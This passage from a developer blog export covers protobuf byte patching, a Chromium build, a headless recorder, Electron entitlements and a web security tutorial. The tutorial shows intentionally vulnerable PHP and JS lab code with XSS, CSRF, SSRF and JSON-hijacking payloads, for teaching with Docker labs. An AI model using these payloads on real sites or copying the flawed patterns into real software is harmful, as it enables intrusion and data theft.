and other issues, too many things we don't control The second isn't great either. As I said, this is a generic service. If we encode here, every pb payload would have to be encoded on the relay later, and it would be slow So we have to go with the third option. ## Notes on string encoding Before we fix it, one thing has to be true: the *IP* is a string. So we need to know how `Protocol Buffers` encodes a *string message*. I'll cite a third-party write-up: [Protocol Buffer encoding: strings](https://halfrost.com/protobuf_encode/#toc-22) For easier reading, here's a screenshot of the relevant part: ![](https://bugs.cc/images/dynamically-modify-the-string-message-of-protocol-buffers/protobuf-string-encoding.png) ## Implementation Now that we know how it's encoded, we can patch the bytes. Here's the original JSON: ```json { "level": "info", "message": "test", "lts": 1622078077630, "clientIP": "__inject-ip__" } ``` `Protocol Buffers` schema: ```proto syntax = "proto3"; message Log { int64 lts = 1; // timestamp string level = 2; // log level string message = 3; // main log message string clientIP = 4; // IP } ``` `__inject-ip__` is a placeholder that tells the relay what to patch. After `Protocol Buffers` encoding, that *JSON* object becomes: ```c 08 be f5 8c db 9a 2f 22 04 69 6e 66 6f 2a 04 74 65 73 74 3a 0d 5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f ``` `5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f` is the hex encoding of `__inject-ip__` Per that article, the `3a 0d` in front is required `Protocol Buffers` metadata 1. *3a* is the field type and ID 2. *0d* is the value length So we only need to care about `0d` and `5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f` Suppose the relay sees the user's IP as `127.0.0.1` Then we should change `0d` to `hexadecimal(len(127.0.0.1))`, and change `5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f` to `hexadecimal(127.0.0.1)` With the mechanics clear, we can write it: ```go package main import ( "encoding/base64" "encoding/hex" "fmt" "strings" ) func main() { // base64 representation of the pb Buffer (byte => base64) payloadBase64 := "CMK+w7XCjMObwpovIgRpbmZvKgR0ZXN0Og1fX2luamVjdC1pcF9f" // decode base64 payload, err := base64.StdEncoding.DecodeString(payloadBase64); if err != nil { panic(err) } // string to hex // 08C2BEC3B5C28CC39BC29A2F2204696E666F2A04746573743A0D5F5F696E6A6563742D69705F5F payloadBinaryStr := fmt.Sprintf("%X", payload) // hex of the __inject-ip__ placeholder ipPlaceholder := "5F5F696E6A6563742D69705F5F" // index where the placeholder appears placeholderIndex := strings.Index(payloadBinaryStr, ipPlaceholder) // the user's IP clientIP := "127.0.0.1" // hex of clientIP clientIPBinaryStr := fmt.Sprintf("%X", clientIP) // length of the IP (in hex), used to modify the length of clientIP in the pb // because the max length of an IP address is 15 (255.255.255.255), which is no more than 255, we can guarantee clientIPLen is always 2 hex digits (i.e. one byte) // %02 also ensures that if there are fewer than 2 digits, it is left-padded with a zero clientIPLen := fmt.Sprintf("%02X", len(clientIP)) payloadBinaryStrPrefix := payloadBinaryStr[:placeholderIndex - 2] payloadBinaryStrSuffix := payloadBinaryStr[placeholderIndex + len(ipPlaceholder):] payloadBinaryStrNewContent := clientIPLen + clientIPBinaryStr // 08C2BEC3B5C28CC39BC29A2F2204696E666F2A04746573743A093132372E302E302E31 // as you can see, the previous 0D has now been replaced with 09 payloadBinaryStr = payloadBinaryStrPrefix + payloadBinaryStrNewContent + payloadBinaryStrSuffix payloadBinaryByte, err := hex.DecodeString(payloadBinaryStr); if err != nil { panic(err) } newPayloadBase64 := base64.StdEncoding.EncodeToString(payloadBinaryByte) // CMK+w7XCjMObwpovIgRpbmZvKgR0ZXN0OgkxMjcuMC4wLjE= fmt.Println(newPayloadBase64) } ``` Then I changed the original JSON, replaced `__inject-ip__` with `127.0.0.1`, encoded it with `Protocol Buffers` again, and the result was identical. So this works. --- # Download and build Chromium on macOS 10.15 - URL: https://bugs.cc/posts/macos-10.15-download-and-build-chromium/ (Markdown: https://bugs.cc/posts/macos-10.15-download-and-build-chromium/index.md) - Language: English - Published: 2020-03-31 - Tags: chromium - Translation (Chinese): https://bugs.cc/zh/posts/macos-10.15-download-and-build-chromium/ ## Download To download the Chromium source, see [Checking out and building Chromium for Mac](https://chromium.googlesource.com/chromium/src/+/master/docs/mac_build_instructions.md). Following the docs as-is, though, makes it very hard to actually get the tree down. Some people suggest cloning via Gitee in China, but Gitee no longer supports a single repo this large (even the enterprise plan cannot handle a project of this size). Chromium with no history already needs 16G. After some trial and error, `fetch --nohooks --no-history chromium` is much more likely to succeed. After it finishes, run `gclient sync` to run the hooks. If you still need history, run `git fetch --unshallow`, which should give you the same result as `fetch chromium`. One thing worth noting: `git fetch --unshallow` is also very slow. There are hundreds of thousands of commits, so this comes down to luck. If it fails, run `git gc --prune=now` first, then retry `git fetch --unshallow`, otherwise the repo just keeps growing. These steps took me 5 days and used 180G of VPN traffic.[^update-code] ## Build My machine at the time: - OSVersion: macOS Catalina 10.15.3 - CPU: 2.4 GHz 8-core Intel Core i9 - Memory: 32 GB 2667 MHz DDR4 The official docs: [Checking out and building Chromium for Mac](https://chromium.googlesource.com/chromium/src/+/master/docs/mac_build_instructions.md) mention that you need the OS X 10.15 SDK. My system is 10.15.3, so I already have that SDK. I ran `gn gen out/Debug` to generate the build directory, and it errored... The error: ```sh ******************************************************************************** WARNING: The NaCL SDK is 32-bit only. macOS 10.15+ removed support for 32-bit executables. To fix, set enable_nacl=false in args.gn, or downgrade to macOS 10.14. For more information, see https://crbug.com/1049832. ******************************************************************************** ERROR at //components/nacl/features.gni:40:3: Assertion failed. assert(false, "NaCL SDK is incompatible with host macOS version") ^----- NaCL SDK is incompatible with host macOS version See //BUILD.gn:18:1: whence it was imported. import("//components/nacl/features.gni") ^-------------------------------------- ``` NaCL is 32-bit, and macOS 10.15+ dropped 32-bit support. The message links to more info. Opening that link showed permission denied, so I could not read it... The message says you only need to add `enable_nacl=false` in `args.gn`, but `args.gn` only exists after `gn gen out/Debug`. At first glance that looks like a deadlock. After looking around, `gn gen` can take args. Changing the command to `gn gen out/Debug --args="enable_nacl=false"` generates the build directory.[^enable-nacl] After generating the build directory, `out/Debug/args.gn` contains: ```text enable_nacl = false ``` You also need to add: ```text # enable debug is_debug = true # build as a shared/dynamic library is_component_build = true ``` If you then run `autoninja -C out/Debug chrome`, after half an hour or so it fails and cannot continue: ```sh ninja: Entering directory `./out/Debug' [1/1] Regenerating ninja files [18588/41244] OBJCXX obj/components/viz/common/metal_context_provider/metal_api_proxy.o FAILED: obj/components/viz/common/metal_context_provider/metal_api_proxy.o ../../third_party/llvm-build/Release+Asserts/bin/clang++ -MMD -MF obj/components/viz/common/metal_context_provider/metal_api_proxy.o.d -DVIZ_METAL_CONTEXT_PROVIDER_IMPLEMENTATION -D_LIBCPP_HAS_NO_ALIGNED_ALLOCATION -DCR_XCODE_VERSION=1140 -DCR_CLANG_REVISION=\"n345938-a1762f9c-1\" -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -DCOMPONENT_BUILD -D_LIBCPP_ENABLE_NODISCARD -D_LIBCPP_DEBUG=0 -DCR_LIBCXX_REVISION=375504 -D__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0 -D_DEBUG -DDYNAMIC_ANNOTATIONS_ENABLED=1 -DWEBP_EXTERN=extern -DUSE_EGL -DSK_CODEC_DECODES_PNG -DSK_CODEC_DECODES_WEBP -DSK_ENCODE_PNG -DSK_ENCODE_WEBP -DSK_USER_CONFIG_HEADER=\"../../skia/config/SkUserConfig.h\" -DSK_GL -DSK_CODEC_DECODES_JPEG -DSK_ENCODE_JPEG -DSK_USE_LIBGIFCODEC -DSKIA_DLL -DSKCMS_API=__attribute__\(\(visibility\(\"default\"\)\)\) -DSK_SUPPORT_GPU=1 -DSK_GPU_WORKAROUNDS_HEADER=\"gpu/config/gpu_driver_bug_workaround_autogen.h\" -DSK_BUILD_FOR_MAC -DSK_METAL -DBORINGSSL_SHARED_LIBRARY -DU_USING_ICU_NAMESPACE=0 -DU_ENABLE_DYLOAD=0 -DUSE_CHROMIUM_ICU=1 -DU_ENABLE_TRACING=1 -DU_ENABLE_RESOURCE_TRACING=0 -DICU_UTIL_DATA_IMPL=ICU_UTIL_DATA_FILE -DUCHAR_TYPE=uint16_t -DGOOGLE_PROTOBUF_NO_RTTI -DGOOGLE_PROTOBUF_NO_STATIC_INITIALIZER -DHAVE_PTHREAD -DPROTOBUF_USE_DLLS -I../.. -Igen -I../../third_party/libwebp/src -I../../third_party/khronos -I../../gpu -I../../third_party/perfetto/include -Igen/third_party/perfetto/build_config -Igen/third_party/perfetto -I../../third_party/skia -I../../third_party/libgifcodec -I../../third_party/boringssl/src/include -I../../third_party/icu/source/common -I../../third_party/icu/source/i18n -I../../third_party/ced/src -I../../third_party/protobuf/src -I../../third_party/protobuf/src -Igen/protoc_out -I../../third_party/mesa_headers -fno-strict-aliasing -fstack-protector-strong -fcolor-diagnostics -fmerge-all-constants -fcrash-diagnostics-dir=../../tools/clang/crashreports -Xclang -mllvm -Xclang -instcombine-lower-dbg-declare=0 -fcomplete-member-pointers -arch x86_64 -Wno-builtin-macro-redefined -D__DATE__= -D__TIME__= -D__TIMESTAMP__= -Xclang -fdebug-compilation-dir -Xclang . -no-canonical-prefixes -Wall -Werror -Wextra -Wimplicit-fallthrough -Wunreachable-code -Wthread-safety -Wextra-semi -Wunguarded-availability -Wno-missing-field-initializers -Wno-unused-parameter -Wno-c++11-narrowing -Wno-unneeded-internal-declaration -Wno-undefined-var-template -Wno-ignored-pragma-optimize -Wno-implicit-int-float-conversion -Wno-final-dtor-non-final-class -Wno-builtin-assume-aligned-alignment -Wno-deprecated-copy -Wno-non-c-typedef-for-linkage -Wno-pointer-to-int-cast -O0 -fno-omit-frame-pointer -gdwarf-4 -g2 -Xclang -debug-info-kind=constructor -isysroot ../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk -mmacosx-version-min=10.10.0 -ftrivial-auto-var-init=pattern -fvisibility=hidden -Xclang -add-plugin -Xclang find-bad-constructs -Wheader-hygiene -Wstring-conversion -Wtautological-overlap-compare -Wno-shorten-64-to-32 -Wno-undefined-bool-conversion -Wno-tautological-undefined-compare -std=c++14 -stdlib=libc++ -fobjc-call-cxx-cdtors -Wobjc-missing-property-synthesis -fno-exceptions -fno-rtti -nostdinc++ -isystem../../buildtools/third_party/libc++/trunk/include -isystem../../buildtools/third_party/libc++abi/trunk/include -fvisibility-inlines-hidden -include obj/components/viz/common/metal_context_provider/precompile.h-mm -c ../../components/viz/common/gpu/metal_api_proxy.mm -o obj/components/viz/common/metal_context_provider/metal_api_proxy.o ../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method 'supportsRasterizationRateMapWithLayerCount:' in protocol 'MTLDevice' not implemented [-Werror,-Wprotocol] @implementation MTLDeviceProxy ^ ../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:727:1: note: method 'supportsRasterizationRateMapWithLayerCount:' declared here -(BOOL)supportsRasterizationRateMapWithLayerCount:(NSUInteger)layerCount API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4)); ^ ../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method 'newRasterizationRateMapWithDescriptor:' in protocol 'MTLDevice' not implemented [-Werror,-Wprotocol] @implementation MTLDeviceProxy ^ ../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:735:1: note: method 'newRasterizationRateMapWithDescriptor:' declared here -(nullable id)newRasterizationRateMapWithDescriptor:(MTLRasterizationRateMapDescriptor*)descriptor API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4)); ^ ../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method 'supportsVertexAmplificationCount:' in protocol 'MTLDevice' not implemented [-Werror,-Wprotocol] @implementation MTLDeviceProxy ^ ../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:831:1: note: method 'supportsVertexAmplificationCount:' declared here - (BOOL)supportsVertexAmplificationCount:(NSUInteger)count API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4)); ^ 3 errors generated. [18605/41244] CXX obj/components/viz/service/main/main/viz_compositor_thread_runner_impl.o ninja: build stopped: subcommand failed. ``` I searched the Chromium forum. Someone said using the macOS 10.14 SDK would fix it. I found [MacOSX-SDKs](https://github.com/phracker/MacOSX-SDKs) on GitHub, cloned it, and ran `ln -s /Users/black-hole/Code/Github/MacOSX-SDKs/MacOSX10.14.sdk /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/`. Rebuild still failed. The error looked the same. The details still mentioned `MacOSX10.15.sdk`, so the build was not picking up the 10.14 SDK. Looking through the code, `build/config/mac/mac_sdk.gni` defines: ```sh # Path to a specific version of the Mac SDK, not including a slash at the end. # If empty, the path to the lowest version greater than or equal to # mac_sdk_min is used. mac_sdk_path = "" ``` After finding that, I added `mac_sdk_path = "/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk"` to `args.gn`. It still failed, and I could not find this error on the Chromium forum. I searched the Chromium forum again and found [macOS: build with 10.15 SDK + toolchain](https://monorail-prod.appspot.com/p/chromium/issues/detail?id=973128#c10). Someone there provided a patch. The patch was from October 2019. Trying it produced conflicts: ```sh $ git apply --check ~/Downloads/compilation_10_15_wip.patch error: failed to apply patch: build/config/mac/BUILD.gn:77 error: build/config/mac/BUILD.gn: patch not applied error: failed to apply patch: components/viz/common/gpu/metal_api_proxy.mm:573 error: components/viz/common/gpu/metal_api_proxy.mm: patch not applied error: failed to apply patch: services/device/geolocation/wifi_data_provider_mac.mm:21 error: services/device/geolocation/wifi_data_provider_mac.mm: patch not applied ``` I looked at the patch and only took the `BUILD.gn` change. In `build/config/mac/BUILD.gn`, find `defines = [ "__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0" ]` and change it to: ```sh defines = [ "__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0", "OBJC_OLD_DISPATCH_PROTOTYPES=1" ] ``` Also drop the `mac_sdk_path` arg, and the build completes. [^update-code]: To pull the latest code later, run `git rebase-update && gclient sync`. [^enable-nacl]: This flag is rarely used. It lets the browser run native machine code. Google said in 2018 Q1 that this technology would be deprecated for everything except Chrome OS (Chrome Apps), and that future work would focus on WebAssembly. Details: [WebAssembly Migration Guide](https://developer.chrome.com/native-client/migration) --- # How server-side recording works - URL: https://bugs.cc/posts/rebirth-principle-analysis/ (Markdown: https://bugs.cc/posts/rebirth-principle-analysis/index.md) - Language: English - Published: 2019-12-07 - Tags: rebirth, chrome extension, nodejs - Translation (Chinese): https://bugs.cc/zh/posts/rebirth-principle-analysis/ ## Overview ### Features Server-side recording, in plain terms, is recording a website on a server, including **audio, motion, refreshes, navigations**, and so on, then saving it as a video file. ### How it works Start `Puppeteer` with a virtual display via `xvfb`. Puppeteer opens Chrome, then a Chrome extension API captures a `Stream`. An HTML5 API converts that stream into a `webm` file. ## Challenges Recording audio, doing it on a server, and making the whole thing unattended. ## Analysis During the research phase I considered several approaches, such as: 1. Screenshot with Canvas and stitch frames together 2. Various Chrome and HTML5 APIs After testing them, I settled on a Chrome extension API: `chrome.tabCapture.capture`. The Chrome extension docs describe it like this: > Captures the visible area of the currently active tab. This method can only be used on the currently active page after the extension has been invoked, similar to how [activeTab](https://crxdoc-zh.appspot.com/extensions/activeTab) works. **Captures the visible area of the currently active tab** is what the API does. The rest is the restriction: you cannot call it directly. A user gesture is required (Chrome takes security seriously). That restriction was the first problem I hit. The whole recording runs on a server. There is no human in the loop. I looked through Chrome's source and found the check in [tab_capture_api.cc](https://cs.chromium.org/chromium/src/chrome/browser/extensions/api/tab_capture/tab_capture_api.cc?type=cs&g=0&l=247-257). The core is: ```cpp // Make sure either we have been granted permission to capture through an // extension icon click or our extension is whitelisted. if (!extension()->permissions_data()->HasAPIPermissionForTab( SessionTabHelper::IdForTab(target_contents).id(), APIPermission::kTabCaptureForTab) && base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII( switches::kWhitelistedExtensionID) != extension_id && !SimpleFeature::IsIdInArray(extension_id, kMediaRouterExtensionIds, base::size(kMediaRouterExtensionIds))) { return RespondNow(Error(kGrantError)); } ``` The important part is: ```cpp base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII( switches::kWhitelistedExtensionID) != extension_id && !SimpleFeature::IsIdInArray(extension_id, kMediaRouterExtensionIds, base::size(kMediaRouterExtensionIds)) ``` This checks whether the current extension id matches `kWhitelistedExtensionID`. That switch is a privilege whitelist. When they match, you can skip the user gesture and automate. `kWhitelistedExtensionID` is declared in [switches.cc](https://cs.chromium.org/chromium/src/extensions/common/switches.cc?type=cs&g=0&l=78): ```cpp // Adds the given extension ID to all the permission whitelists. const char kWhitelistedExtensionID[] = "whitelisted-extension-id"; ``` So I just need to start Chrome with `--whitelisted-extension-id` set to the extension id.[^tab-active] --- The next problem: the extension id has to be stable, otherwise every build gets a different id. I searched Stack Overflow and found [Making a unique extension id and key for Chrome extension?](https://stackoverflow.com/questions/37317779/making-a-unique-extension-id-and-key-for-chrome-extension) That is why the project has a [key.pem](https://github.com/alo7/rebirth/blob/master/src/extensions_dist/key.pem) in the extension directory: to pin the extension id. --- You may have noticed this API does not expose other methods, so we have to implement `pause / resume / stop` ourselves. HTML5 `MediaRecorder`[^mediarecorder] covers that. `chrome.tabCapture.capture` returns a `Stream` that includes audio and video. `MediaRecorder` can take it from there. After calling `chrome.tabCapture.capture`, we create a `MediaRecorder` instance and listen for incoming data. The pause / resume / stop methods we wrote are wrappers around `MediaRecorder`, which already provides `pause / resume / stop`. We only need a thin wrapper. One gotcha: after `MediaRecorder.stop()`, you still need to stop every track, or the memory stays occupied: ```typescript mediaRecorder.stop(); mediaRecorder.stream.getTracks().forEach(track => { track.stop(); }); ``` Think of `stop` as stopping intake. The existing tracks are not closed or released. --- That covers the recording structure. Whether the details landed or not, the core of this project is a browser extension. Chrome does not support injecting extensions in `headless`[^headless] mode. This runs on a server, and it will eventually go through Docker. Those environments have no desktop. If we cannot use headless, everything above is wasted. I searched around and found `xvfb`. Think of it as a virtual desktop. Chrome runs on that virtual display. That unblocked us. That is why [entrypoint.sh](https://github.com/alo7/rebirth/blob/master/entrypoint.sh) has: ```sh # open virtual desktop xvfb-run --listen-tcp --server-num=76 --server-arg="-screen 0 2048x1024x24" --auth-file=$XAUTHORITY node index.js & ``` At this point the pipeline worked. The rest is optimization. --- The project could record on a server (Docker), but I could not see what was happening inside. I wanted to debug it. So I added VNC and Chrome remote debugging. VNC is straightforward: install a VNC stack in the Docker image, then add this to [entrypoint.sh](https://github.com/alo7/rebirth/blob/master/entrypoint.sh): ```sh x11vnc -display :76 -passwd password -forever -autoport 5920 & ``` Chrome remote debugging is a bit more work. Add `--remote-debugging-port=9222` to Chrome's launch flags, and install `socat` in the image for port forwarding. 9222 is the remote-debugging port, but Chrome only accepts connections from localhost. So `socat` forwards 9222 to 9223. In [entrypoint.sh](https://github.com/alo7/rebirth/blob/master/entrypoint.sh): ```sh # forward chrome remote debugging protocol port socat tcp-listen:9223,fork tcp:localhost:9222 & ``` --- This Docker image may land on k8s or elsewhere. After deploy, it will eventually get a "please kill yourself" signal (usually when the cluster is short on resources or CPU is too high). When that signal reaches the container (a Pod on k8s), we should roll back data and so on. So [entrypoint.sh](https://github.com/alo7/rebirth/blob/master/entrypoint.sh) has: ```sh # get nodejs process pid NODE_PID=$(lsof -i:80 | grep node | awk 'NR==1,$NF=" "{print $2}') # forward SIGINT/SIGKILL/SIGTERM to nodejs process trap 'kill -n 15 ${NODE_PID}' 2 9 15 # waiting nodejs exit while [[ -e /proc/${NODE_PID} ]]; do sleep 1; done ``` First get the Node process PID, then forward the signal to it. On the Node side: ```js let status = false; const exit = message => { if (status) return; console.log('the process was kill:', message); // rollback operations status = true; process.exit(); }; process.once('exit', () => exit('exit')); process.once('SIGTERM', () => exit('sigterm')); process.on('message', message => { if (message === 'shutdown') { exit('shutdown'); } }); ``` ## Deployment Our company deploys on k8s, so the flow looks like this: The server inserts a recording job into the database. I wrote another service that scans the database on an interval (currently every 3 minutes). When it finds a row, it calls the k8s API to create a Job -> Pod and run one recording. If you are curious, I wrote about this in [Flexible scheduling of a k8s cluster based on task volume](https://www.bugs.cc/p/flexible-scheduling-of-k8s-cluster-based-on-task-volume/) ## Open source The project is open source. Stars and PRs are welcome: [https://github.com/alo7/rebirth](https://github.com/alo7/rebirth) [^tab-active]: The one catch: when you call this API, the tab you want to record must be active. After the call you can navigate away. [^mediarecorder]: If you are not familiar with this API, think of it as a manager for audio/video streams. [^headless]: Think of headless as starting Chrome from the command line, talking to it through commands or APIs, with no visible window. --- # Pitfalls of requesting camera and microphone permission for an Electron app on macOS - URL: https://bugs.cc/posts/electron-app-request-camera-and-microphone-permission-by-macos/ (Markdown: https://bugs.cc/posts/electron-app-request-camera-and-microphone-permission-by-macos/index.md) - Language: English - Published: 2019-10-23 - Tags: electron, macos - Translation (Chinese): https://bugs.cc/zh/posts/electron-app-request-camera-and-microphone-permission-by-macos/ > Our company's Electron app would occasionally `Crash` during *device detection*. After digging into it, the app didn't have camera and microphone permission, which caused the crash during *device detection*. On macOS 10.14 and later, you have to explicitly grant microphone and camera permission to your own app. Otherwise it cannot use the system camera or microphone. For details, see: [Requesting Authorization for Media Capture on macOS](https://developer.apple.com/documentation/avfoundation/cameras_and_media_capture/requesting_authorization_for_media_capture_on_macos?language=objc) Apple's docs say that if you want microphone and camera permission, you have to set the related keys in the `plist`. They are: - Microphone: [NSMicrophoneUsageDescription](https://developer.apple.com/documentation/bundleresources/information_property_list/nscamerausagedescription?language=objc) - Camera: *[NSCameraUsageDescription](https://developer.apple.com/documentation/bundleresources/information_property_list/nsmicrophoneusagedescription?language=objc)* The `Description` suffix tells you these keys explain why your app needs the microphone and camera. Packaging an `Electron App` is usually done with [electron-builder](https://www.electron.build/). In its docs for Mac packaging there is an `extendInfo` option: it adds your custom keys to the `plist`. In `electron-builder.yml` it looks like this: ```yaml mac: extendInfo: NSMicrophoneUsageDescription: Please allow this app to access your microphone NSCameraUsageDescription: Please allow this app to access your camera ``` After you write that, you'll find it does nothing. Those two keys only explain why the app is asking for permission. They do not actually request it. To request camera and microphone permission, you need these keys: - com.apple.security.device.camera - com.apple.security.device.audio-input There is a prerequisite for adding them: you must turn on [hardenedRuntime](https://developer.apple.com/documentation/security/hardened_runtime_entitlements).[^hardenedruntime-version] It tightens runtime integrity. For details, see: [Hardened Runtime Entitlements](https://developer.apple.com/documentation/security/hardened_runtime_entitlements) So now we add `hardenedRuntime`: ```yaml mac: hardenedRuntime: true extendInfo: NSMicrophoneUsageDescription: Please allow this app to access your microphone NSCameraUsageDescription: Please allow this app to access your camera ``` The actual request is done with the `entitlements` option. The config looks like this: electron-builder.yml ```yaml mac: entitlements: entitlements.mac.plist hardenedRuntime: true extendInfo: NSMicrophoneUsageDescription: Please allow this app to access your microphone NSCameraUsageDescription: Please allow this app to access your camera ``` entitlements.mac.plist ```text com.apple.security.device.audio-input com.apple.security.device.camera ``` If you try this, the app will crash on launch, or it won't even package. That's because once you turn on `hardenedRuntime` to tighten app security, you have to loosen that security a bit. In `entitlements.mac.plist` you also need: - [com.apple.security.cs.allow-jit](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit) - [com.apple.security.cs.allow-unsigned-executable-memory](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory) - [com.apple.security.cs.allow-dyld-environment-variables](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) The final `entitlements.mac.plist` looks like this: ```text com.apple.security.cs.allow-jit com.apple.security.cs.allow-unsigned-executable-memory com.apple.security.cs.allow-dyld-environment-variables com.apple.security.device.audio-input com.apple.security.device.camera ``` From here, your Electron app should be able to request and use the camera and microphone on macOS. [^hardenedruntime-version]: In `electron-builder` `21.1.3`, `hardenedRuntime` already defaults to `true`. In `21.1.2` through `20.41.0`, it defaults to `false`. Older versions don't have the property at all. --- # Web security overview - URL: https://bugs.cc/posts/web-security-overview/ (Markdown: https://bugs.cc/posts/web-security-overview/index.md) - Language: English - Published: 2019-10-17 - Tags: web, xss, csrf, ssrf, json hijacking - Translation (Chinese): https://bugs.cc/zh/posts/web-security-overview/ ## Preface A look at web attacks and how they work, including frontend, backend, and ops. The backend examples use PHP. After comparing options, PHP is the most obvious language for showing this. Every attack in this post has a Docker lab so you can research and test it yourself. This post is a partial recap of my older security writeups, with some cleanup and additions. If you want more, see [Freebuf Black-Hole](https://www.freebuf.com/author/Black-Hole). ## Frontend ### XSS XSS is executing your JavaScript in someone else's browser. Everything else is supporting technique. #### DOM XSS Abuse JavaScript's ability to mutate the DOM. Where it shows up: separated frontend/backend architectures. Most developers know not to use `eval` unless they have to. One reason is security. Does skipping `eval` mean you are safe? No. Look at this: ```html ``` To make this clearer, a short walkthrough: > Suppose the current URL is `http://baidu.com/#http://360.cn`. Then `location.hash.slice(1)` is `http://360.cn`. > > `new URL(url).href` parses the URL and returns the parsed href. If the URL fails its internal checks, it throws. Looks fine, right? `new URL()` is a built-in. It is supposed to filter for us. So we break that check. The table below is from the `URL` spec [examples](https://url.spec.whatwg.org/#example-url-parsing): ![](https://bugs.cc/images/web-security-overview/url-parsing-spec-table.png) `hello:world` is valid. And `hello:` is a JavaScript label, similar to `goto` in C. Change the URL to `http://baidu.com/#javascript:alert(1)` and the bug fires. [Docker lab](https://github.com/alo7/web-security-docker/tree/master/front-end/XSS/DOM-XSS) ## Backend ### Reflected XSS Caused by missing or mismatched filtering on the frontend or backend.[^reflected-dom] Where it shows up: MVC. In MVC, frontend markup is written in the backend language. On a request, the backend builds the page, then returns the HTML to the browser. If XSS happens in that path, the backend is in the loop, so we usually call it reflected XSS. PHP: ```php I am a little square"; ?> ``` It reads `bg` from the query string and uses it as a background color. Looks fine at first. `$bg` is attacker-controlled. Close the attribute and you are in: `http://127.0.0.1:8082/?bg=123' onclick='alert(1)` Put that in `bg` and the markup becomes: \
I am a little square\<\/div\> [Docker lab](https://github.com/alo7/web-security-docker/tree/master/back-end/XSS/non-persistent) ### Stored XSS Reflected XSS, plus a write to the database. The code: ```php // get the client's IP address // this code is from: https://stackoverflow.com/questions/3003145/how-to-get-the-client-ip-address-in-php $ipaddress = 'UNKNOWN'; $keys = array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'); foreach($keys as $k) { if (isset($_SERVER[$k]) && !empty($_SERVER[$k])) { $ipaddress = $_SERVER[$k]; break; } } // get the content and encode/filter it $content = htmlspecialchars($_POST['content'], ENT_QUOTES); $sql = "INSERT INTO xss.message (content, ip) VALUES ('$content', '$ipaddress')"; $conn->query($sql); ``` Looks fine. We already encode-filter `content`.[^htmlspecialchars] Even if we submit HTML, it is escaped. Submit `` and the database stores `<script>alert(1)</script>` No way around it? There is. The code also stores the client IP. That is the bug. `CLIENT-IP` and `X_FORWARDED_FOR` are user-controlled. Install the [ModHeader](https://bewisse.com/modheader/) extension: ![ModHeader request header: CLIENT-IP set to XSS payload script alert(1)](https://bugs.cc/images/web-security-overview/modheader-clientip-xss.png) Change the header, submit again, and it is stored unescaped: ![xss.message query result: XSS payload stored unescaped after a forged IP](https://bugs.cc/images/web-security-overview/mysql-stored-xss.png) [Docker lab](https://github.com/alo7/web-security-docker/tree/master/back-end/XSS/persistent) ### CSRF Think of CSRF as making someone else do the killing. It usually shows up in form submissions. Open-source projects, especially CMS software, are common. ```html
``` The form lives in the admin backend and adds an admin account. `addAdminUser.php` checks the current user's cookies. Non-admins cannot add anyone. The form has no captcha and no token, and `addAdminUser.php` does not check `Referer`. That is a CSRF bug. When the browser requests a resource, it attaches unexpired cookies. So a request to add an admin from another site still carries the logged-in cookies. The server treats it as you (the cookie check passed). Why CORS does not help: this kind of request cannot read the response, so CORS does not block it. An Ajax request would be blocked, because Ajax can read the response. Besides `form`, what else works? The W3C CORS spec says: > A [simple cross-origin request](https://www.w3.org/TR/cors/#simple-cross-origin-request) has been defined as congruent with those which may be generated by currently deployed user agents that do not conform to this specification. Simple cross-origin requests generated outside this specification (such as cross-origin form submissions using `GET` or `POST` or cross-origin `GET` requests resulting from `script` elements) typically include [user credentials](https://www.w3.org/TR/cors/#user-credentials), so resources conforming to this specification must always be prepared to expect simple cross-origin requests with credentials. > > ----See [w3c cors](https://www.w3.org/TR/cors/#security) for details. That is a bit vague, so here is the extra: form submissions with `GET` or `POST`, and `GET` requests caused by HTML tags such as `a` and `img`, almost always carry user credentials (cookies). [Docker lab](https://github.com/alo7/web-security-docker/tree/master/back-end/CSRF) ### SSRF SSRF is not far from CSRF. CSRF targets the user on the client. SSRF targets the server itself. It usually shows up in features that fetch and return a user-controlled resource. Examples: view page source online, fetch the title of a user-supplied link, translate a page online. ```php ".htmlspecialchars($websiteCode, ENT_QUOTES).""; ?> ``` There is no filtering of user input. You can pass `http://192.168.1.2` and reach an internal host. The fetch runs on the server, and the server can reach other machines on the same LAN. [Docker lab](https://github.com/alo7/web-security-docker/tree/master/back-end/SSRF/) ### JSON hijacking JSON hijacking is the same idea as CSRF.[^json-hijacking-principle] The main difference from CSRF is that JSON hijacking also abuses JSONP. ```php ``` ```html ``` If an attacker hosts a page that also includes `` Per the W3C CORS spec above, if the user is already logged in and then opens the attacker's link, the attacker can read sensitive data they should not have. [Docker 